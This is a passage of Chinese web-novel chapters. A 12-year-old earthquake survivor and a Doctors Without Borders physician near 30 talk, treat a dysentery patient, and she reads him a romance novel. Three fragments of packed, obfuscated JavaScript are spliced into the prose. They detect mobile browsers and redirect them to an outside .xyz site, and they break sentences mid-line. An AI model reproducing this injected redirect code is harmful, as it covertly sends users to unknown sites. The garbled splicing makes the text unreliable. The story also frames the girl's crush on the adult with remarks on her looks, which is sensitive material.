天地之间被夕阳笼罩出的朦胧神秘渐渐转变为暗沉却绚烂的彩色,柔和的金色余晖与澄澈的幽蓝天幕碰撞出各式各样的斑纹,轰轰烈烈的粉红推着自带阴影的云层往前走,融合,又消逝。 逐渐转清的风将她耳鬓处的碎发吹落,稀稀疏疏的瘙到脸上,带来痒意的同时,也为视野增添出碍事的麻烦,祁寂扔掉手里被染脏的棉棒,想先撩开头发再换一根新的,不等她上手,耳畔先被粗挲的薄茧掠过。 麻劲儿顺着脊椎直冲天灵盖,她被惊到怔在原地。 许久都没能再有动作。 他刻意装作没发现她走神的事实,保持着微微弯下腰来的姿态,用另一只没被她禁锢的食指扫过她饱满清丽的额头,勾起那几根随风作乱于她脸颊的碎发,轻微地,坚定地,目标明确地把它们都拨到鬓角处。 而后,用指尖将它们都挑回她涨红的耳后。 她的眼神无比强烈的波动着。 尽管已经用尽全身的力气在努力让自己不要发抖,不要被他影响到,可是,身体还是不自觉的发硬,就连去拿新棉签的手都不受控制地打着颤,险些没能拿稳。 祁寂实在有些受不住这种折磨,她闭上眼睛,深深提一口气,近乎是用喊出来的般冲他讲:“对不起!” 这下。 轮到卫以东发愣了。 确认发丝不会再给她添乱,他面不改色的收回手,稍显狐疑的问:“为什么要给我道歉?” “因为,因为我做错了。” “你没有错,是我没有——” “——就是我的错!” 有了再一就好有再二,也不知道是从何而来的勇气,让她豁出去般提高音量,对他吼道:“对不起!卫以东!我不该把爸爸的离开算到你头上,也不该对你说那些气话!对不起!!!” 卫以东没想到她现在这么有种,都敢冲他吼了。 倍感新奇地挑了下右侧的断眉,压下好不容易才被她挑起的松快情绪,他罕见地摆出一副认真神色来,一字一句的喊她:“别道歉了,小不点,听我说。” “嗯?什么?” “我没生你的气,更没怪罪过你,所以,你不用跟我道歉。相反,是我答应要把你爸爸妈妈都救出来,也是我失约,要道歉,也该是——” “——不该!不该!” 祁寂说着,抬起双手牢牢捂住耳朵,一个劲儿的疯狂摇头,不让他继续往下说,“你不要跟我道歉!不然我真的会很生气!一辈子都不会再原谅你的那种!!!” 卫以东瞧她这样,也没再把剩下的话说出口。 他拉下她捂紧耳朵的手,眼底终于弥漫起零星笑意,他口齿清晰的说:“好,我不说了,这件事过去了。” 她这才半信半疑的放下手,仰头看他,“真的吗?” “真的,不信拉钩。” “我才不要呢,那是用来哄小孩的,我已经不是小孩了。” “是么?”卫以东轻勾唇角,痞浑浑地笑,“你多大?15还是16?上高中了吗?” 祁寂对他的提问瞠目结舌:“?” “我12岁!马上上初中!”她攥紧手指,用指甲抠进掌心肉里,咬牙切齿道:“到底是什么让你以为我已经15岁了!我长得有那么老吗!!” “不老,只是看起来挺成熟的。” “你到底会不会夸人啊?成熟和老这两个词有什么区别?!” “区别很大,成熟是夸你漂亮的词。” “......” 祁寂很轻易就被他这半遮半掩的夸奖搞得吊起嘴来,她一边忸怩,不好意思,一边又很开心,觉得在他眼里,她不是一个每天都把自己搞得浑身是泥的小土人,而是一个漂亮的小女孩。 “是么?”两种情绪不断交织之下,她不敢再跟他对视,说出口的自谦都跟气音一样细弱,“也没有很漂亮啦,也就比一般稍微漂亮那么一丢丢吧,就一丢丢哦。” 卫以东被她这副稍有拧巴的模样逗笑,顺着她的话接,“不止一丢丢,你就是很漂亮,漂亮得像个洋娃娃。” “可是我腿上还有土......” “你也说了,土在腿上,没在脸上。” “可是可是——” “——没有可是,你长大以后肯定会更漂亮,就这么好好活着,好好长大吧。” 微风再次扫过脸颊,痒痒的,却不痛,还贴心的为她更加灼烫的体温送来恰到好处的冷静,两颊处的温度略有下降的同时,她才后知后觉地反应过来—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473295|168736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他并不是在单纯的夸她,而是带有鼓舞意味的激励着她,让她有信心、有勇气能够继续生活下去。 而不是跟那位孕妇一样。 因为孩子去世了,就选择结束自己的生命。 这件事就像扎在他心头的一根刺,从外面看好似风轻云淡,被安慰几句,哄一哄,转移一下注意力,就可以适当的当作什么事情都没有发生,但只有他自己心里清楚,这根刺,无论如何,都不会再消失,只会在别人看不到的潜意识里不断为他折射出痛苦的伤疤。 进而潜移默化地影响他的想法、言语,以及,生活。 拔不出,忘不掉,只能慢慢磨平它的棱角,然后带着那些不为人知的改变继续生活下去,一直到死。 也就是这个时候,祁寂突然意识到自己不得不承认—— 是她把这件事情想简单了。 幡然醒悟过来后,她便不再像只无头苍蝇般胡乱安慰他,默默收起棉棒与酒精,拢进怀里一屁股坐到他身旁,用略显空洞的目光遥遥望着天边美得不可方物的晚霞,轻声唤他:“卫以东。” “嗯?” “你为什么会选择来当无国界医生啊?” “想听实话还是漂亮话?” “......” “实话吧。” “实话就是,”他双手撑在身后,半仰着身体面向不远处的五星红旗,任由从侧边吹来的清风将他手背上湿润的酒□□体挥发至干,“当时跟家里吵架,我爸不想让我当警察,想让我学金融管理毕业回去接他的班,当个平平无奇的富三代,我不愿意。” 这话有点太实诚了,听得祁寂一愣一愣的。 甚至还很想指着他的鼻子骂他一句“你真不识好歹”。 但她最终什么都没骂,只是在他看不见的地方抻了抻唇角,半带无语道:“那漂亮话呢?” “漂亮话?”他笑,笑得欲气满满,狂放不羁,“漂亮话就是:总要有人来做一些不贪生不怕死,不追名不逐利的事情,那那个人为什么不能是我呢?” “可能因为你是富三代吧。” “比起富三代,我还是更喜欢现在的身份。至少,在我心里,生命的价值是不能用金钱去衡量的,再多都不行。” “就算,有一天,你会因为救别人而死掉,你也...不怕吗?” “知道的还挺多,曲琳琳告诉你的?” 祁寂双手托着下巴,轻轻“嗯”了声。 眼神轻微闪动。 “如果有天注定要死,那我就去英勇就义,”他铿锵有力的声音回荡在空中,顺着风,震动了那展五星红旗。他光明而磊落的说:“但是在此之前,我会尽我最大的努力,让枪林弹雨中开出平安的花。” 那一刻。 祁寂的心底不知道被什么撞了一下。 心口发酸的同时,也让她萌生出许多以前完全接触不到的想法。 那一刻。 她突然就更崇拜他了。 乃至于她连脑子都没怎么过,就脱口而出的问道:“学医是不是很辛苦?我也可以学吗?” 卫以东略显诧异的挑眉。 侧过脸来看她,“真想学啊?” “有点......” “那我的建议是:你别学。” “为什么?” “没听过那句话吗?劝人学医,天打雷劈,虽然我不怕死,但也不能落得跟那些乱发誓的渣男们一个下场吧?那多难看啊。” 祁寂愣了下,随后猝然笑了出来。 精致而旖丽的脸颊绽放出如梦如幻的笑容,比天边的晚霞有过之而无不及,清风扫动她的碎发,飘扬在空中,翻飞出宛若蝴蝶翩迁的弧度,整个人看上去漂亮明媚到发光。 卫以东的视线落在她脸上,久久没能移开。 似是被她的笑容感染,他也闷闷地笑了起来,一个明眸皓齿,一个胸膛震颤,两个人就一高一低的并排着坐在钢土狼藉的废墟之上,笑出属于两代人的希望与交替。 虽然不知道以后会怎么样。 是狼狈,还是精致,是悲惨,还是美好...... 但她想。 他说得对。 如果一定要有人默默无闻,那个人为什么不能是她呢? 为什么不能是。 已经直面过死亡又奇迹般活下来的她呢? 10.折角 廖队没找到曲琳琳,倒是先瞥见坐在废墟之上谈笑风生的她们,他几个大跨步走过来,将手里记录着新到药品的详单递给卫以东。 卫以东由上到下浏览了一眼,在他离开后,反手就把那张药品详单对折,对折,再对折。 很快,他手中就出现一个折平的正方形。 祁寂凑头过去瞧了一眼,大概看出这是她以前经常跟朋友们一起玩的东南西北折角,不由得起了兴味,问他打算在八个面上写什么。 他没有回答,而是反问:“你有什么感兴趣的职业吗?小不点,说八个。” “八个?!”她有点懵,“我没有那么多梦想,最多有四个。” “四个也行吧,正好一个写两次。” “嗯...我想想...小说作者,画家...歌手,还有,无国界医生吧。” “无国界医生?” “......” “...凑数的,我想不出来了。” “行吧,”他半信半疑地瞥她一眼,用水笔在八个面上分别写下这四项职业,又在背后四个面上分别写下东南西北,对折,顶出四个尖尖角,捏在手里,“说个数字。” 祁寂沉吟片刻,“东5下。” 卫以东摆弄手里的折纸,最后停在一个面上。 上面写着: 无国界医生。 他别开眼睛,合起手中的折纸,面不改色的耍无赖道:“这次不算,再说一个数字。” 他的动作实在太快了,她根本没来得及看清上面写的到底是什么,别他一眼,又说了一个数字。 “那就,西4下。” 卫以东再次张合四个角,最终停在西4下的面上。 这次祁寂看清楚了。 上面明明确确写着:无国界医生。 卫以东:...... “啧,”他面色略黑的合起折纸,强制不准她再选东和西,“不能再选东和西,只能在南北里面选一个。” “为什么啊?” “你别管,我说不能选就是不能选。” “好吧,那,南八下?” 卫以东笑了。 他展开手里南八下的角给她看,心下满意的对她说:“小说作者,这个职业挺不错的,我觉得你以后肯定能在写作方面大有作为。” “是么?”她瘪起嘴,一点面子都不给的戳穿他,“刚刚我选到无国界医生的时候你可不是这个态度。” “刚刚你看错了,上面写的也是作者。” “......” “......” “你干脆直接把八个面上全写成作者得了呗,还让我选干什么?” “那不行,为了公平起见,还是要有点概率的。” “公平?” “嗯。”卫以东大言不惭的应。 祁寂无语的剜他一眼,嘲讽道:“太好了,我根本没看出来。” “没事,我能看出来就好,”他的一言一行,简直是把耍流氓的行径做到底,“就这么决定了,反正不管是作者,画家还是歌手都可以,就是不能选医生。” “你耍赖。” “你有证据吗?” “有,我再选一次给你看。” “不行,再玩收费。” “卫以东,”她悄悄翻了个白眼,言语直白的吐槽他,“你马上就是30岁的人了,能不能别这么幼稚?” 卫以东不仅没被刺到,反而笑得更开心。 他把手里的折角扔到一旁,逐渐恢复了先前的意气风发,“三十怎么了?男人至死是少年。” 至少,肉眼看上去是这样的。 令她心神一松。 “好吧,你成功了。” “成功什么?” “成功逗笑我了,”她说着,为了增加这句话的可信度,还刻意的弯起唇角,对他假笑,“三十岁的老少年。” 卫以东脸上的笑容骤僵,抬手过来就要捏她的后脖颈,“你再说一遍?” 祁寂连忙捂着后脖颈,笑嘻嘻的跳起来躲他,还站在他面前冲他吐了下舌头,拌鬼脸。 看起来灵动又顽皮。 “三十岁的老少年。” “我要生气了,小不点。” “别装了,你才不会对我生气呢。” “坏了,这都被你看透了,我突然有种被人拿捏住的不爽感,怎么办?” “当然是——凉拌咯,”她背起双手,笑眯嘻嘻地凑过来,饶有兴味道:“欸对了,卫以东,你的名字到底是哪几个字啊?我都不知道。” 他收回胳膊,一只重新撑回身后,一只冲她招了招,微微昂起下巴看她,“想知道啊?” “嗯。” “过来,靠近点就告诉你。” “……” 祁寂横乜他一眼,不上他的套,“我才不要。你爱说不说,不说我等等去问姐姐。” “?”卫以东无可奈何地压下眼尾,“我的名字,你不问我去问别人?” “我问了!是你不跟我——” “——保卫的卫,所以的以,东西南北的东,你可以简单记为:保卫子午线以东的人,就是我。” “子午线以东?”她摸着下巴思忖了几秒钟道:“可是地球是圆的欸,如果这么说的话,那你岂不是要保卫全地球啦?” “恭喜你,答对了。” 他回答得这么臭屁,让祁寂不由自主的想要嘁他几句,只是,还不等她说出来,半空中就如时响起长时间的警笛声。 在警笛声响起的一瞬间,卫以东就收敛起脸庞上的笑意,他膝盖一直,笔直而挺阔的站到她面前,弯折手肘将右手平抚在心脏上,微微低头,为去世的遇难者们默哀。 祁寂呆滞了一下,旋即立马在他身边立定。 以为他的姿势是什么默哀的正确姿势,她急急忙忙模仿他的做法一起默默为遇难者们默哀。 天色黯淡,鲜艳的红旗扬在空中波澜壮阔,有风在吹,苍白的白大褂角与灰黑的衬衫褶皱交手出点到即止的克制,周遭安静的不行,仿佛这普天之下只有她们两个人存在,安静的,虔诚的,为逝去的生命哀悼。 三分钟后,警笛声消散。 卫以东一睁开眼,就发现旁边的女孩也在学他做抚胸礼,不禁叹口气,叉腰喊她:“小不点。” 她听到声音,睁开眼睛,“啊?怎么啦?” “你默哀的时候低头就好,不用做这个手势。” “啊?那你为什么这么做啊?” “马来西亚这边有很多是信奉□□教的教徒,这是她们用来表达信仰的方式,”他抬手揉了把她的头顶,不知名的情绪在眼底翻滚,“我是无国界医生,应该入乡随俗,但你不需要。” 祁寂没想到是这样。 悻悻然放下手,不自在地别开眼,嘴硬道:“我怎么不需要!我也是预备役——” “——你敢,老老实实回国当你的小说作者去。” “为什么啊!卫以东!为什么你能当无国界医生我就不能当!你能不能不要这么霸道,也让我——” “——因为我不想让你死,” 卫以东收回手,眸色沉而坚定的看向她,一字一顿道:“小不点,无国界医生没你想得那么美好。” “抢险救灾只是我们很小的一部分工作,更多的时间,我们都要行走在枪林弹雨的夹缝里,接受各种流行病和瘟疫的洗礼,别说救人了,就连我们自己的命都说不清楚到底会在什么时候被夺走。” “再说更难听点,可能你在国内一辈子都没听说过的偏远地区,是我们的常驻地,或许你一辈子都见不到的子弹,曾经打穿过我的身体两次,比在我头上二十七次。” “听完这些,你还想当无国界医生么?” 夜色浓沉的仿若被墨泼过一般,漆不见底,不远处桌台上的15盏蜡烛斜斜拖拽出废墟的残影,祁寂有些被他的这番话吓到,她眼神呆滞,身体僵硬。 不止是因为难以想象的枪林弹雨。 更多的,是她没办法想象出他们的意志到底有多坚韧,信仰究竟有多高尚,能够在他们明明知道前路坎坷动荡的前提下,依旧驱使他们初心不改的迎死而上,直到以命换命的那一刻。 如果给了现在的她,她想,或许从第一次被荷枪实弹指在脑袋上的时候,她就会被吓到尿裤子,然后直接放弃了吧。 不是胆怯,不是懦弱,而是人心底对于求生的本能。 毕竟,没有几个人会在面对那种濒死时刻依然能做到平心静气,洒脱赴死,那是不符合人性规律的,但正因为如此,卫以东,曲琳琳他们这种逆人性而行的无私奉献者才更值得被讴歌,被崇拜,被学习...... 她不知道有朝一日她的想法会不会有所动摇,至少现在,她选择遵从本能的摇头,轻声道: “不想了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对对对!就上个月,我去上课的时候,张老师还跟我爸爸说,如果我能一直坚持下去,将来肯定能大有所成。” 卫以东挑眉。 压下下巴,注视向她,“学这些多久了?” “没多久。笛子不到一年,箫的话,快两年了。” “这玩意也能考级的吧?” “能!两个我都是十级!厉不厉害?!” “厉害。我跟你一样,都是学古典乐器的,不过我最高只到八级就没学了。” 听他这么说,她就更好奇了。 毕竟,古典乐器就那么几种,无论其中哪一种,都跟他这人不太搭。 “哦?”她睁大眼睛,挨个开始猜测,“你不会是学古筝的吧?” 卫以东摇头,“不是。” “唔,你刚刚那么说,就肯定不是笛子和箫......总不能是编钟吧?” “笨蛋,编钟都能想到,就想不到二胡?” “啊?!你竟然是学二胡的?!” “怎么了?不像?” “是有点,”她盯着他,目光从他不拘一格的头发丝扫到那张看起来就不好惹的硬汉脸,最后,再次得出结论,“你要不说,我以为你会是学架子鼓那种的呢。” “要我选,我肯定选架子鼓,但家里人不让。” “于是你就放弃了?” “于是,我干脆什么都不——” “——卫以东!” 不等他说完,peter先火急火燎地找过来,兜头就用撇脚的中文喊道:“17号床,感染了应该,很严重,你过去看一看。” 事发突然,又不能耽搁。 卫以东没再把剩下的话说出口。 他站起身来提了下裤腰,大步流星往peter那边走,却在走到一半时,突然站定脚步,回过身来叮嘱她: “你妈妈的状态不太好,如果可以的话,进去多陪陪她吧。” “别一个人蜷在外面,小心着凉。” 他的音量不大,被风吹进她耳窝里时已经快要几不可闻,可就算是这样,她还是听清楚了,清楚到不能再清楚。 甚至。 就算被轰轰烈烈的心跳声掩盖,他的那番贴心话还是牢牢印刻在她心上。 让她心口翻涌出滚烫的温度。 11.痢疾 祁寂轻手轻脚地摸进帐篷,高雨晴已经睡着了。 她双眼紧闭,面容却被悲痛刻出疲惫至极的老态,表情狰狞,泪痕在不再年轻的纹路上再次划出一道道沟壑,深不见底。 看上去,仿佛一夜之间老了二十岁。 明显得令人心疼。 尽管很想用指腹帮她蹭去脸颊上的泪痕,但更怕因此而吵醒她,祁寂站在床边深深注视了她一会儿,拼命压下快要因冲动破土而出的动作,转身默默走出帐篷。 她没听卫以东的话。 又一次拿着小说靠坐在帐篷外,翻到压有书签的章节继续阅读起来。 其实在遭遇地震的那个晚上,她已经把这本书看到没剩多少了,里面的男女主早已解开误会,袒露心声,再次全身心地接纳彼此,即将迎来属于她们的大结局。 最美好的大结局。 明明在此之前,她看这种小说很是津津有味,甚至在遇到精彩的章节时可以称得上是废寝忘食,可是,现在再看,忽然就发觉—— 她根本看不下去。 一星半点都没办法入眼。 不是说作者写得不好,文笔跳脱,情节出戏,正相反,是因为作者写得实在太好了,文笔太浪漫,情节又塑造的太过于童话,导致最后为她营造出一种与现实截然相反的观感。 一种足够罗曼蒂克,却又异常痛苦割裂的观感。 光是看着,都让她感觉很不现实。 她心里明白,这个世界实在太过于戏剧化,美好时光总是一闪而逝,而痛苦悲悯却经久不息,所以必须要有人跳出现实之外,为正在经历伤痛的人们创造出各种各样的、不过火却足够能带给人心理慰藉的作品,好让那些心生悲观的人看完后重新提起对生活的希望,希望自己的人生也跟这些作品一样是有希望的。 可是,在她眼中,这种堪比泡沫的希望有时候比直截了当的失望更伤人。 也更容易让人在泡沫破碎后备受打击。 甚至。 从此一蹶不振。 她想,如果真有一天她要提笔写小说,是一定没办法写出这种割裂又戏谑的浪漫剧情的,比较有可能的,就是行将就木地记录一些极具冲突的现实主义情节,然后再昧着良心为其冠上幸福美满的大结局。 这样,既不算蒙蔽自己,也能去迎合大众。 算是一个双赢的做法了。 可是。 就在这个当下。 她的脑海里突然响起另一道声音。 那道声音不大,却异常的有存在感,它蛮横无理地挤开之前的想法,独断专行的对她讲:“你为什么不能相信现实呢?就算经历再多的悲剧,结局也不一定会是惨痛的,何不让自己跟着现实走?万一最后真的是he呢?” “这样,既不用蒙骗自己的良心,也算是给自己一个机会,一举两得。” 令祁寂不由自主地愣了下。 待她再回过神来,手里的小说已然因重力吸引脱落到地上,随之而来的,是她唇角半勾起的无力地笑。 她曲起双腿,将脑袋埋在坚硬的膝盖之中,心道: “真是可笑。” “明明她已经亲眼目睹过这个世界究竟有多么烂,可内心还是不受控制的愿意去相信它,愿意再给它一次机会,直到为数不多的希望彻底被击碎为止。” “也不知道该说自己蠢,还是该说自己心态好。” 萌生出这种想法的不止祁寂一个人。 同一时刻,不同地点,当卫以东发现手术台上的病人并不只是单纯的伤口感染,还出现了带有粘液和血丝的脓血便时,他的第一反应不光是勒令除了他和peter以外的人不准再靠近,还有在思绪中陡然爆裂而出的—— 这个世界可真特么操蛋啊。 人光是单纯活在这个世界上都已经很难了,为什么还非要被迫经历这些堪称荒唐的天灾病疫? 难道没被灾痛洗礼过的生命就称不上有份量吗? 那未免有点太过于残忍。 他瞥了眼已经接触过患者□□和衣物的双手,哪怕套着一层手套,都没办法确定自己一定没有沾染痢疾,简单做了两个深呼吸后,他认命的示意同样脱不了干系的peter继续把这场手术进行到底。 就算要搭上他俩的性命,也必须把这人从鬼门关里拉回来。 他不想看到白板上的数字再有一点变化。 曲琳琳在外面急得团团转。 虽然她平时总是有事没事就想呛卫以东两句,着实看不得他那副嚣张又混蛋的模样,可真到这种生死危急的关头,她还是抑制不住地想要与他并肩作战。 哪怕是跟他一起死,也总好过她一个人独活。 可卫以东向来不肯给她机会。 无论是被枪口指在脑门上的机会,还是感染瘟疫的机会,他从来都没有给过她,一起共事这么久,他总是用他那副高大宽阔的身躯堵在她面前,为她,乃至于她们,隔挡开一切有可能直面伤害的机会。 霸道,有担当,却足够残忍。 让人一时不知道该先夸他还是先骂他。 她靠在简易手术室外,捏满一手心汗地不停祈祷他们千万不要有事,不知道过去多久,背后的透明帘帐被人敲动两下,她立马回过头去看,就见卫以东以迅雷不及掩耳之势冲她比了个鬼脸。 曲琳琳:“……” 他不故意逗她还好,侧面印证事情还在他的掌控之中,翻不出什么水花,一这么逗她,就让她忍不住红了眼眶。 “都什么时候了!卫以东!”她用了蛮力朝他刚敲过的地方狠狠砸了两拳,轻声哽咽道:“你还有心情跟我开玩笑!!!” 卫以东就笑。 他歪了歪脑袋,混蛋地气人却不惹人生厌,“别哭,问题不大,只是细菌性痢疾而已。” “我记得你老相好给我的药品单上有写阿奇霉素,帮忙跑个腿?” 一听是细菌性痢疾,曲琳琳差点儿脱了力。 她拽紧隔帘,劫后余生般的大喘气,恨不得现在就冲进去狠狠揍他一顿,好让他知道她到底为他白白浪费了多少感情。 “不去!”她弯腰去揉发麻的小腿,没好气地顶他:“你就死里面得了,心烦。” “乖,别闹,病人还等着你救命呢。” “……他不是我的老相好,要找你自己去找。” “是么?那要这么说的话,中午偷偷躲角落里亲嘴亲那么响的也不是你俩咯?” “卫以东!!!” “哈哈哈,”他斜靠在帘帐上朗声大笑,半吊着眉眼诱哄道:“快去吧,我不介意你跟他亲个嘴再回来。” 曲琳琳咬紧牙关,一抬手就要照他的脸招呼,“滚蛋啊!贱人!!!” 他眼疾脸快的躲开,笑得轻佻又戏谑。 她怒目而视地指了指他那张极为不正经的痞脸,气势汹汹地杀出去,想找廖垣生索要阿奇霉素,不料,才刚转过转角,就瞥见不远处蹲着一个瘦瘦小小的女孩,正把手里的压缩干粮掰碎,一点点的喂给灰头土脸的小猫吃。 看背影,是善良的小奇迹。 说起来也神奇,明明上一秒她还因为卫以东故意捉弄她而感觉生气和不爽,但是这一秒,在看见祁寂之后,她心里的怒火突然间就全都消散了。 取而代之的,是平静与淡然。 抱着刻意让卫以东等久一点的报复心态,她没再急着去找廖垣生,脚步一转,步伐轻快地朝祁寂走过去。 祁寂听到鞋底摩擦在地面上的声音,循声偏过头来,看见是曲琳琳,她开心得不行,连忙招手唤道:“姐姐!看!小猫!它好乖啊!” “好可爱的小猫咪,”曲琳琳加快步伐走过去,蹲在她身边看她兴致勃勃地投喂小猫,“还是只大橘,估计胃口不小,一块压缩干粮喂不饱。” “啊?那怎么办啊,我就只有这一块——” “——我这还有块没吃的,喏,给你。” “你不吃了吗?” “我不爱吃这玩意儿,廖垣生说明天下午会有三明治,我等明天下午再吃。” 见她面上的嫌弃表情不像作假,她欢天喜地地接过那块压缩干粮,拆开包装,捏碎了喂给狼吞虎咽的大橘吃。 “好吧,谢谢姐姐,”她边耐心地投喂大橘,边分出神来跟她聊天,“对了,姐姐,这么晚了,你怎么还没有睡?是出什么事情了吗?需不需要我去帮忙?” 这番恰到好处的三连问,句句都戳中曲琳琳柔软的内心,让她动荡不安的情绪得到了良好的舒缓,她挺了挺略显紧绷的腰背,声线却温柔到不行。 她说:“不用,刚刚有个患者感染了,卫以东过去发现是痢疾,让我出来帮他拿药。” “痢疾?”祁寂不懂这是什么,但潜意识告诉她这不是个好东西,因此,她“噌”的抬起头,视线紧张的望向她,“这是什么病?严重吗?” “传染病,不严重。他以前感染过,也接种了相关的疫苗,不过为了保险起见,还是要吃药的。” “传染病…那他是不是还要隔离啊?” “哟?知道的还挺多。按道理来说,如果确定了是细菌性痢疾的话是不需要隔离的,但卫以东那人在这方面很谨慎,估计会进行自我隔离吧。” “自我隔离?这个要隔离多久?” 曲琳琳想了想,保守道:“24小时。” 不想,祁寂听完却大吃一惊,连手里的压缩干粮都没能拿稳,零零碎碎的掉了一地。 大橘见状,立刻埋头去追。 “24个小时?!一整天?!”她再顾不上大橘,尾音都因为她的话而高昂起来,久久不能落下,“意思就是说,他一整天都只能自己呆在同一个地方,没有人陪吗?!” “对,不过里面不止——” “——姐姐!你等等我!我去拿个东西马上就回来找你! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490225|168736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你千万要等我!!” 不等曲琳琳说完,祁寂就慌急慌忙地从地上站起来,她眉眼焦急地对她吐完这番话,头也不回地朝某间帐篷狂冲猛撞而去,不多时,又大汗淋漓的折返回来。 手里多出一本皱皱巴巴的小说。 双手撑在膝盖上沉沉地喘息了几下,她撩起右胳膊用白大褂袖子蹭去额间的汗水,待呼吸不再那么急促,才直起腰来。 祁寂朝她漾开一抹笑,小脸绯红,眼睛晶亮,漂亮得宛如品质最上乘的苹果,光是瞧着都能让人感受到内里的清甜。 “久等了,”她扬了扬手里的小说,嗓音甜甜的对她讲:“正好我一个人看不进去,可以过去给他念念小说,也强迫我自己把结尾看完。” 曲琳琳怔了怔。 似是没想到她会为卫以东做到这个程度,她调整了一下表情,试探地问道:“小奇迹,你…是不是喜欢卫以东?” 祁寂的呼吸因为她如此直白的询问骤然滞住。 心跳窒了一拍,随即跳动出震耳欲聋的频率,她不敢去看她,只一味的用尽全力暗装镇定,争取不露丝毫马脚的对她撒谎。 “啊?什么?我没有啊……” “真的吗?” “真的!”浓密纤长的睫毛隐匿在漆黑的夜色之中,扑扇个不停,为了早日洗脱自己的“嫌疑”,她故意摆出气急败坏的模样,用词贬低道:“我才不会喜欢他呢!三十岁的老男人!每天就只会欺负人!惹人生气!真是谁喜欢他谁倒霉!” 也不知道是哪句话吐槽到曲琳琳心坎上了,她没再揪着她不放,而是边带她去找廖垣生边跟她一起骂道:“就是!阴阳失调的老男人!每天分不清个轻重缓急!明明别人担心他担心得不行!还非要逗别人玩!简直烦得要死!” “就是!烦得要死!” “而且还喜欢偷看别人的隐私!偷窥狂!变态!不要脸!如果他的脸皮厚度排第二,就没人敢排第一!” “就是!臭不要脸!” 两人你一句我一句的骂到帐篷外,廖垣生正好迎面走出来,见她俩一个比一个义愤填膺,好奇之余,不禁问道:“你俩这是怎么了?” 曲琳琳&祁寂异口同声:“你别管!” 廖垣生:“……” “好吧,”他丈二和尚摸不着头脑地扫她们一眼,及时转移话题避开锋芒,“你们过来是…找我?” 曲琳琳双手叉腰,气势不减的点头,“卫以东说你这儿有阿奇霉素,给我。” 廖垣生不敢再开玩笑,正色道: “行,你们等我一下,马上。” 说完,他就一股脑儿的钻进帐篷里,半晌没再出来。 而曲琳琳和祁寂都觉得干等着有些无聊,索性又接上之前的话题,继续你一谩骂、我一附和地吐槽着卫以东的混蛋行径。 不多时,廖垣生再次从帐篷里走出来。 像是有什么妖魔鬼怪在身后追赶他一般,他慌手乱脚地把阿奇霉素塞进曲琳琳手里,率先有眼色的告退,“那个,我突然想起来还有点事情没办完,先走一步哈。” 不等话音落下,人就消失不见。 曲琳琳和祁寂都没在意他这种格外不对劲的行为,两人一个抱着阿奇霉素,一个抓着小说,披星戴月的踏进卫以东所在的那间帐篷。 卫以东还靠在隔帘上。 见她们走进来,他玩味的打量她们一眼,先发制人地打破她们表面的伪装道:“你俩骂我能不能小声一点?嗯?” “隔老远就听见你俩在外面你一句我一句的,骂得那叫个起兴,干嘛?唱双簧呢?我这个主人公是不是还得给你们掏点票钱意思一下?” 曲琳琳面不改色。 撩开隔帘就拿阿奇霉素往他身上砸,不忘阴阳怪气他一句,“你知道就好。” 祁寂不知道这里隔音这么差,更没想到他会把她骂他的话听了个完全,她悄悄抿了抿唇,不着痕迹地往曲琳琳身后藏。 脚趾有些抠地,不知道该如何再去面对他。 本以为躲到曲琳琳身后就不会被“针对”了,却不想,卫以东的矛头竟然直接跃过曲琳琳,笔直地扎向她。 他冷笑一息,字句发沉道:“长本事了,小不点,都学会当面一套背后一套了。” “烦得要死?嗯?臭不要脸?呵。” “来,来,你过来,靠近点,好好跟我说叨说叨我是怎么烦你的,又是怎么不要脸的,来,今天你要是不跟我说出个一二三来,这事儿高低过不去。” 他说这话的时候表情实在是太认真了,认真到一点开玩笑的意思都看不出来,祁寂不禁有些心底发毛。 她下意识地松开攥着曲琳琳衣服的手,就要扭头往外跑,却不想,他下一句话直接将她牢牢钉在原地,再不能动弹。 他哂笑道: “跑什么?回来,不是要给我念小说?” “再跑我不介意亲自出去逮你。” 12.腹肌 “......额......” “那个,他微垂眼睫,掩盖住眼底的滔天情绪,”祁寂坐在隔帘外,双手死死捏住书边,险些给硬质封面都捏皱,她越念,眼皮就抖得越快,始终不敢抬眼看他,“额,然后,他俯首压下来,跟她唇瓣相贴......” 吊在帐篷顶的白炽灯应该是电量快要耗尽。 昏昏沉沉地拖拽出可见度不高的暗影,有一下、没一下的摇晃着,将盘旋在她脚下的影子拉到前面,又拖到脚后,毫无任何规律可言。 卫以东眼角压着抹戏谑的笑。 他双手环臂,斜懒地倚在她旁边,隔着一层什么都无法掩盖的透明帘帐,听她声线打颤地念着令人脸红心跳的小说情节,面色不改地插科打诨道:“别额,好好读,唇瓣相贴之后呢?” “唇瓣相贴...额...相贴之后......” “之后?” “......” “......” 外头的风在小声呜咽着,时不时敲打在脆弱却坚固的帐篷布上,令其深深地凹陷进来,与她僵直的背脊相撞。 